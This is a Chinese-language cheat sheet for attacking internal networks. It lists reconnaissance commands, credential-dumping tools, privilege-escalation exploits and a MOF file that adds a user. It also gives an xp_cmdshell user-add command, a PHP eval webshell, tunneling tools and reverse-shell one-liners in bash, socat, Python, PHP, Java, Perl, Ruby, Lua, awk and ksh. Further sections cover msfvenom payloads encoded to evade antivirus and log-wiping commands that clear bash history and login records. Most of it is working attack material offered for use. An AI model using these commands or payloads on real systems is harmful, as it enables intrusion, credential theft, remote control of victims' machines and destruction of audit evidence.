内网渗透
1.信息收集
1.1.windows
-
1.1.1用户操作
-
query user #查看当前在线的用户 whoami #查看当前用户 net user #查看当前系统的用户 net1 user #查看当前系统的用户 net user /domain #查看当前域里面的用户 net user administrator #查看当前用户的详细信息 net localgroup #查看本地用户组 net localgroup administrators #查看管理组中的成员
-
-
1.1.2网络操作
-
ipconfig /all #查看当前机器的ip netstat -ano #查看有哪些网络连接端口 net view #查看在同一工作组中的机器 net view /domain #判断是否有域 route print #查看路由表 arp -a #查看arp表
-
-
1.1.3系统操作
-
set #查看系统的环境变量 systeminfo #查看当前操作系统信息,关注【补丁号】!!!! tasklist #查看进程名称以及PID号 net start #查看服务
-
软件安装信息查询
dir /a "c:\program files" #查看当前系统的安装的软件 dir /a "c:\program files (x86)"
收集hash
-
-
wce
- lassa.exe获取
-
pwdum7
- lassa.exe获取
-
mimikatz
- lassa.exe获取
-
QuarksPwDump
- lassa.exe获取
-
getpass
- SAM/system获取
-
SAMinside
- SAM/system获取
-
破解hash
-
-
-
1.1.4主动搜集
-
搜索文件
-
@echo off set “FileName=password.txt” echo searching.. for %%a in (C D E F G H I J K L M N O P Q R S T U V W X Y Z) do ( if exist %%a:\ ( for /f “delims=” %%b in (‘dir /a-d /s /b “%%a:*%FileName%” 2^>nul’) do ( if /i “%%~nxb” equ “%FileName%” ( echo,%%b))))
-
-
判断主机存活
-
@echo off for /l %%i in (1 1 254) do ping -v 4 -n 1 192.168.5.%%i || find “TTL” >>hots.txt pause
-
-
-
1.1.5用户习惯收集
-
用户桌面信息收集
- C:\Users\用户名\Desktop
-
下载目录信息收集
- C:\Users\用户名\Download\
- 迅雷
- 百度云
-
收藏夹信息收集
-
chrome
- C:\Users\用户名\AppData\Local\Google\Chrome\User Data\Default
-
ie
- C:\Users\用户名\Favorites
-
firefox
-
-
浏览器记录收集
-
聊天工具收集
- 微信
-
系统日志收集
- 登录日志
- 服务日志
-
1.2.linux
-
ifconfig route #查看路由 whoami # id #查看当前用户id id test #查看test用户信息 w #查看当前系统活动用户 lastlog #查看用户登陆日志 grep MemTotal /proc/meminfo #查看系统内存总量 cat /etc/passwd #查看用户列表 cat /etc/shadow #获取用户hash cat /etc/group #查看用户组 grep -v -E “^#” /etc/passwd | awk -F: ‘$3 == 0 { print $1}’ # 列出超级用户 awk -F: ‘($3 == “0”) {print}’ /etc/passwd #列出超级用户 netstat –an netstat -antlp #查看tcp连接
-
系统类型和内核版本
cat /etc/issue #查看系统名称 cat /etc/lsb-release #查看系统名称、版本号 uname -a #查看内核信息 ls /root |grep vmlinuz #查看内核信息
-
进程信息
ps aux #查看进程信息 ps -ef
-
安装的软件包和服务
dpkg -l #查看安装的软件包 rpm -qa #查看安装的软件包 cat /etc/service #查看系统存在的服务
-
用户登录信息
/var/log/wtmp /var/log/btmp
-
服务配置
cat /etc/syslog.conf cat /etc/chttp.conf cat /etc/lighttpd.conf cat /etc/cups/cupsd.conf cat /etc/inetd.conf cat /etc/apache2/apache2.conf cat /etc/my.conf cat /etc/httpd/conf/httpd.conf cat /opt/lampp/etc/httpd.conf
-
网络配置
cat /etc/network/interfaces #网卡配置 cat /etc/resolv.conf #dns配置 hostname #查看主机名
-
网络拓扑收集
arp –a
-
日志信息收集
/var/log/* #http日志 /var/log/apache2/access.log #mysql日志 /var/log/mysql/error.log #apt日志 /var/log/apt/history.log
-
/home目录文件信息收集
1.3第三方
- ssh
- ftp
- mysql
- mssql
2.提权
windows
-
系统漏洞,ms系列
-
ms08-067
- rpc
-
ms09-012
- pr.exe/巴西烤肉提权
-
ms09-020
- iis5/6
-
ms12-020
- rdp蓝屏
-
ms17-010
- 永恒之蓝/wannacry
-
cve-2019-0708
- rdp/命令执行
-
粘滞键提权(sethc.exe)
- 使用cmd.exe覆盖sethc.exe,当在输入密码界面多次shift时,会调用sethc.exe
-
-
应用程序
-
pcanywhere
-
serv-U
- 默认本地管理端口是:43958,默认管理员:LocalAdministrator,默认密码:#l@$ak#.lk;0@P
-
linux
-
内核提权
-
脏牛漏洞
- 内核版本>2.6
-
服务提权
-
mysql
-
UDF提权
-
windows
-
UDF
- mysql版本 < 5.1 , UDF导出到系统目录c:/windows/system32/
- mysql版本 > 5.1 ,UDF导出到安装路径MySQL\Lib\Plugin\
-
-
linux
- /usr/lib/mysql/plugin/
-
要求有写权限,单引号未被过滤
-
-
MOF
-
windows专属
- 流程:
1、 首先找个可写的目录,将我们的MOF文件上传上去。
2、 执行以下sql语句,mof文件内的命令便会执行。
select load_file('C:/wmpub/nullevt.mof') into dumpfile 'c:/windows/system32/wbem/mof/nullevt.mof'
- mofcomp.exe xxxxx.mof 执行mof文件
- 调用Imofcompiler接口的$complieFile方法
-
#pragma namespace("\\.\root\subscription") instance of __EventFilter as $EventFilter { EventNamespace = "Root\Cimv2"; Name = "filtP2"; Query = "Select * From __InstanceModificationEvent " "Where TargetInstance Isa \"Win32_LocalTime\" " "And TargetInstance.Second = 5"; QueryLanguage = "WQL"; }; instance of ActiveScriptEventConsumer as $Consumer { Name = "consPCSV2"; ScriptingEngine = "JScript"; ScriptText = "var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user secist 123 /add\")"; }; instance of __FilterToConsumerBinding { Consumer = $Consumer; Filter = $EventFilter; };
- 流程:
-
-
-
mssql
-
xp_cmdshell
- 开启:
EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;
-
exec xp_cmdshell 'net user test test /add'
- 开启:
-
xp_regwrite
-
xp_regread
-
-
tomcat
- 弱口令爆破
3.权限维持
windows
-
cmd命令
-
写webshell
- 1.使用cmd命令写webshell,带有<>以及“空格”的时候,需要使用^进行转义
例如:echo ^<?php^ eval($_POST[a]);?^> > shell.php
- 1.使用cmd命令写webshell,带有<>以及“空格”的时候,需要使用^进行转义
-
linux
cobaltstrike
-
生成后门
- 以管理员方式运行
msf
- meterpreter
- msfvenom
- exploit
4.跨边界传输
跨边界代理/转发
-
端口转发
-
lcx
-
listen
- -listen
- 将port1监听到的数据发往port2
-
tran
- -tran
- 将本地port开启监听,并且将监听到的数据发往远程端口
-
slave
- -slave
- 将远程主机A的port与远程主机B的port双向转发
-
-
frp反向代理
- frps -c frps.ini
- frpc -c frpc.ini
-
-
内网代理
-
http tunnel
-
reDuh
-
reGeorg
- 1.python2 安装urllib3库
- 2.上传tunnel.nosocket.php代理脚本到web服务器
- 3.访问url,确认web服务器上tunnel.nosocket.php能够执行
- 4.python2执行reGeorgSocksProxy.py脚本,连接tunnel.nosocket.php
- 5.配置本地代理,使用代理工具进行sock5代理
-
-
ssh tunnel
- xshell直接启动隧道转发
- ssh -D设置socket隧道
- ssh -L设置端口正向转发
- ssh -R设置端口反向连接
-
DNS tunnel
- dns2tcp
-
pingtunnel
- 服务端-type server
- 连接端-type client
-
反弹shell
-
1.nc
-
正向连接
-
攻击机
- nc -vv 受害者ip 受害者port
-
受害者
- nc -lvvp 受害者port -e /bin/bash
-
-
反向连接
-
攻击机
- nc -lvvp 攻击机port
-
受害者
- nc -vv 攻击机ip 攻击机port -e /bin/bash
-
-
聊天/传文件
-
发送方
- nc -lvvp 自己的port < 文件
-
接收方
- nc -vv 发送方ip 发送方port > 文件
-
-
-
2.bash
-
接收端(hackip,公网)
- nc -lvvp 端口
-
发送端(受害者)
-
bash -i >& /dev/tcp/hackip/hack端口 0>&1 0<&31-;exec 31<>/dev/tcp/hackip/hack端口;sh <&31 >&31 2>&31
-
-
-
3.socat
-
tcp
-
接收端(攻击机)
- socat TCP-LISTEN:端口 -
-
发送端(靶机)
-
linux
-
socat exec:'bash -i',pty,stderr,setsid,sigint,sane tcp:攻击机ip:攻击机端口
-
-
windows
-
socat.exe exec:'cmd.exe',pty,stderr,setsid,sigint,sane tcp:攻击机ip:攻击机端口
-
-
-
-
udp
-
接收端(攻击机)
- socat udp-listen:端口 -
-
发送端(靶机)
-
linux
-
socat udp-connect:ip:port exec:’bash -i’,pty,stderr,sane 2>&1>/dev/null &
-
-
windows
-
socat.exe udp-connect:192.168.5.108:30000 exec:’cmd.exe’,pty,stderr,sane
-
-
-
-
-
4.python
-
接收端(攻击机)
-
nc -lvvp port
-
-
发送端(靶机)
-
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("接收端ip",接收端端口));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
-
-
-
5.PHP反弹
-
接收端(攻击机)
-
nc -lvvp port
-
-
发送端(靶机)
-
php -r ‘$sock=fsockopen(“接收端ip”,接收端端口);exec(“/bin/sh -i <&3 >&3 2>&3”);’
-
-
-
6.JAVA反弹
-
接收端(攻击机)
-
nc -lvvp port
-
-
发送端(靶机)
-
r = Runtime.getRuntime() p = r.exec([“/bin/bash”,”-c”,”exec 5<>/dev/tcp/192.168.31.41/8080;cat <&5 | while read line; do $line 2>&5 >&5; done”] as String[]) p.waitFor()
-
-
-
7.perl反弹
-
接收端(攻击机)
-
nc -lvvp port
-
-
发送端(靶机)
-
perl -e ‘use Socket;$i=”ip”;$p=port;socket(S,PF_INET,SOCK_STREAM,getprotobyname(“tcp”));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,”>&S”);open(STDOUT,”>&S”);open(STDERR,”>&S”);exec(“/bin/sh -i”);};’
-
-
-
8.ruby反弹
-
接收端(攻击机)
-
nc -lvvp port
-
-
发送端(靶机)
-
ruby -r socket -e ‘exit if fork;c=TCPSocket.new(“ip”,”port”);while(cmd=c.gets);IO.popen(cmd,”r”){|io|c.print io.read}end’
-
-
-
9.telnet反弹
-
接收端(攻击机)
-
nc -lvvp port
-
-
发送端(靶机)
-
mknod backpipe p && telnet ip port 0<backpipe | /bin/bash 1>backpipe
-
-
-
10.lua反弹
-
接收端(攻击机)
-
nc -lvvp port
-
-
发送端(靶机)
-
lua -e “local s=require(‘socket’);local t=assert(s.tcp());t:connect(‘ip’,port);while true do local r,x=t:receive();local f=assert(io.popen(r,’r’));local b=assert(f:read(‘*a’));t:send(b);end;f:close();t:close();”
-
-
-
-
接收端(攻击机)
-
nc -lvvp port
-
-
发送端(靶机)
-
awk ‘BEGIN{s=”/inet/tcp/0/ip/port”;while(1){do{s|&getline c;if(c){while((c|&getline)>0)print $0|&s;close(c)}}while(c!=”exit”);close(s)}}’
-
-
-
12.ksh/tsh/zsh/sh
-
接收端(攻击机)
-
nc -lvvp port
-
-
发送端(靶机)
-
ksh -c ‘ksh >/dev/tcp/ip/port 2>&1 <&1’
-
-
-
13.通过msfvenom生成反弹shell的payload
-
1.msfvenom -l payloads | grep 工具 2.msfvenom -p payload LHOST=监听机IP LPORT=监听端口
-
-
14.icmpsh
-
接收端
./icmpsh-m.py
-
发送端
-
icpmsh.exe -t 接收端ip
-
-
文件传输
- 1.nc传输
- 2.上传点上传
- 3.wget下载
- 4.脚本php/python/perl/ruby发起请求并读写文件
- 5.ftp
- 6.sftp
- 7.svn
- 8.git
- 9.sync
- 10.powershell
- 11.net use 挂载盘符
- 12.bitsadmin
- 13.scp
5.隐匿攻击
免杀
-
msfvenom
-
encoder
编码器-
-e 编码器 -i 编码次数
-
多次编码
-
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.5.172 lport=4444 -e x86/shikata_ga_nai -i 15 -f raw | msfvenom -a x86 –platform windows -e x86/alpha_upper -i 10 -f exe -o shell.exe
-
-
-
bad-chars
花指令- -b ‘\x00’
-
-
the-backdoor-factory
-
veil
-
upx
- 加壳
-
.net壳
-
分离免杀
- shellcode提取,动态加载
msf/cs
- msf发往cs
- cs发往msf
6.横向移动
7.域渗透
瞄准域控(DC机)发起攻击
8.痕迹清理
windows
linux
-
/var/log/btmp /var/log/wtmp ~/.bash_history history -c